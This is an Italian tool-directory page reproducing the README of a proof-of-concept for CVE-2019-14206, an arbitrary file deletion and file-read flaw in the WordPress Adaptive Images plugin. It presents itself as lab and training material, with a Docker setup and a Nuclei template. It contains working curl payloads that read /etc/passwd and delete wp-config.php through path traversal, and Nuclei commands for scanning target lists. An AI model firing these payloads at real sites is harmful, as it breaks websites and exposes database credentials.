Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2019-14206-poc — Proof-of-concept exploit per CVE-2019-14206, che dimostra la cancellazione arbitraria di file nel plugin WordPress Adaptive Images. Include laboratorio Docker, modello Nuclei e script di test manuali per formazione e validazione sulla sicurezza. | Kitploit
Strumenti/GitHubGitHub/developerfred/cve-2019-14206-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubdeveloperfred/cve-2019-14206-poc

cve-2019-14206-poc

Proof-of-concept exploit per CVE-2019-14206, che dimostra la cancellazione arbitraria di file nel plugin WordPress Adaptive Images. Include laboratorio Docker, modello Nuclei e script di test manuali per formazione e validazione sulla sicurezza.

Vedi Repository
59 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-14206 - Adaptive Images for WordPress: Eliminazione Arbitraria di File

📋 Indice

  1. Sulla Vulnerabilità
  2. Prerequisiti
  3. Installazione
  4. Metodi di Test
    • Test Rapido
    • Test Completo con Docker
    • Test con Nuclei
    • Test Manuale
  5. Interpretare i Risultati
  6. Pulizia
  7. Risoluzione dei Problemi
  8. Mitigazione
  9. Avviso Legale

🎯 Sulla Vulnerabilità

CVE-ID: CVE-2019-14206
Severità: Alta (CVSS 6.5)
Plugin Interessato: Adaptive Images for WordPress
Versioni Interessate: < 0.6.67

Cosa consente questa vulnerabilità?

Questa vulnerabilità consente a un attaccante remoto non autenticato di eliminare file arbitrari sul server WordPress sfruttando il plugin Adaptive Images.

Impatto Reale:

  • ❌ Eliminazione di wp-config.php che causa il crash completo del sito
  • ❌ Esposizione delle credenziali del database tramite LFI
  • ⚠️ Catena di attacco che porta a RCE (Remote Code Execution)
  • 🔴 Compromissione totale del sito WordPress

Causa Radice:

// O plugin usa input do usuário SEM sanitização
$settings = $_REQUEST['adaptive-images-settings'];

// Constrói caminho de arquivo com parâmetros controlados pelo atacante
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;

// DELETA arquivo arbitrário
unlink($cache_file);

💻 Prerequisiti

Requisiti Minimi:

  • Sistema Operativo: macOS, Linux o Windows
  • Nuclei: Versione 3.0 o superiore (Installa)
  • Bash: Versione 4.0 o superiore
  • curl: Per test manuali
  • PHP: Versione 7.0+ (opzionale, per test con server integrato)

Verifica dei Prerequisiti:

# Verificar Nuclei
nuclei --version

# Verificar Bash
bash --version

# Verificar curl
curl --version

# Verificar PHP (opcional)
php --version 2>/dev/null || echo "PHP não disponível (opcional)"

🚀 Installazione

Passaggio 1: Clonare o Scaricare i File

# Se estiver no diretório nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates

# Ou baixe os arquivos necessários
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates

Passaggio 2: Verificare la Struttura dei File

# Verificar se os arquivos existem
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/

Passaggio 3: Rendere Eseguibili gli Script

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh

🧪 Metodi di Test

1. Test Rapido ⏱️ 2 minuti

Esegui la dimostrazione completa che simula l'intero sfruttamento:

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh

Cosa succede:

  • Crea un ambiente di test completo
  • Simula la vulnerabilità
  • Dimostra l'eliminazione di file
  • Valida il template Nuclei

Output atteso:

[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready

2. Test Completo con Docker 🐳 10 minuti

Passaggio 1: Avviare l'Ambiente Docker

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

# Se Docker estiver rodando
docker-compose up -d

# Se Docker NÃO estiver rodando, use o simulador
./docker-test-full.sh

Passaggio 2: Accedere a WordPress

# O ambiente estará disponível em
# http://localhost:8888

Passaggio 3: Verificare il Plugin Vulnerabile

# Verificar se o script vulnerable existe
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php

Passaggio 4: Eseguire i Test

# Teste LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Teste File Deletion
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Verificar se wp-config.php foi deletado
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php

3. Test con Nuclei 🎯 5 minuti

Passaggio 1: Preparare la Lista dei Target

# Criar arquivo de alvos
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF

Passaggio 2: Eseguire la Scansione

# Scan básico
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt

# Scan detalhado
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v

# Scan com debug (OBRIGATÓRIO para bounty)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug

# Salvar resultados
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt

Passaggio 3: Interpretare i Risultati

# Ver resultados
cat results.txt

# Resultados positivos terão:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion

4. Test Manuale 🔧 10 minuti

Passaggio 1: Avviare il Server PHP

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888

Passaggio 2: Testare LFI (Lettura di File)

# Tentar ler /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Tentar ler wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"

Risultato atteso (LFI):

=== CVE-2019-14206 Vulnerability Test ===

[*] Settings received:
  source_file = /etc/passwd
  ...

[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd

Passaggio 3: Testare l'Eliminazione di File

# Verificar se wp-config.php existe ANTES
ls -la wp-config.php

# Executar exploit
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Verificar se wp-config.php foi deletado DEPOIS
ls -la wp-config.php

Risultato atteso (File Deletion):

[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php

📊 Interpretare i Risultati

Risultato Positivo (Vulnerabile):

[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php

Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible

Risultato Negativo (Non Vulnerabile):

[N/A] No results found

Possibili Ragioni per un Falso Negativo:

  • ✅ Plugin non installato
  • ✅ Plugin aggiornato (versione >= 0.6.67)
  • ✅ WAF che blocca le richieste
  • ✅ Il server non risponde sui percorsi attesi

🧹 Pulizia

Scarica lo strumento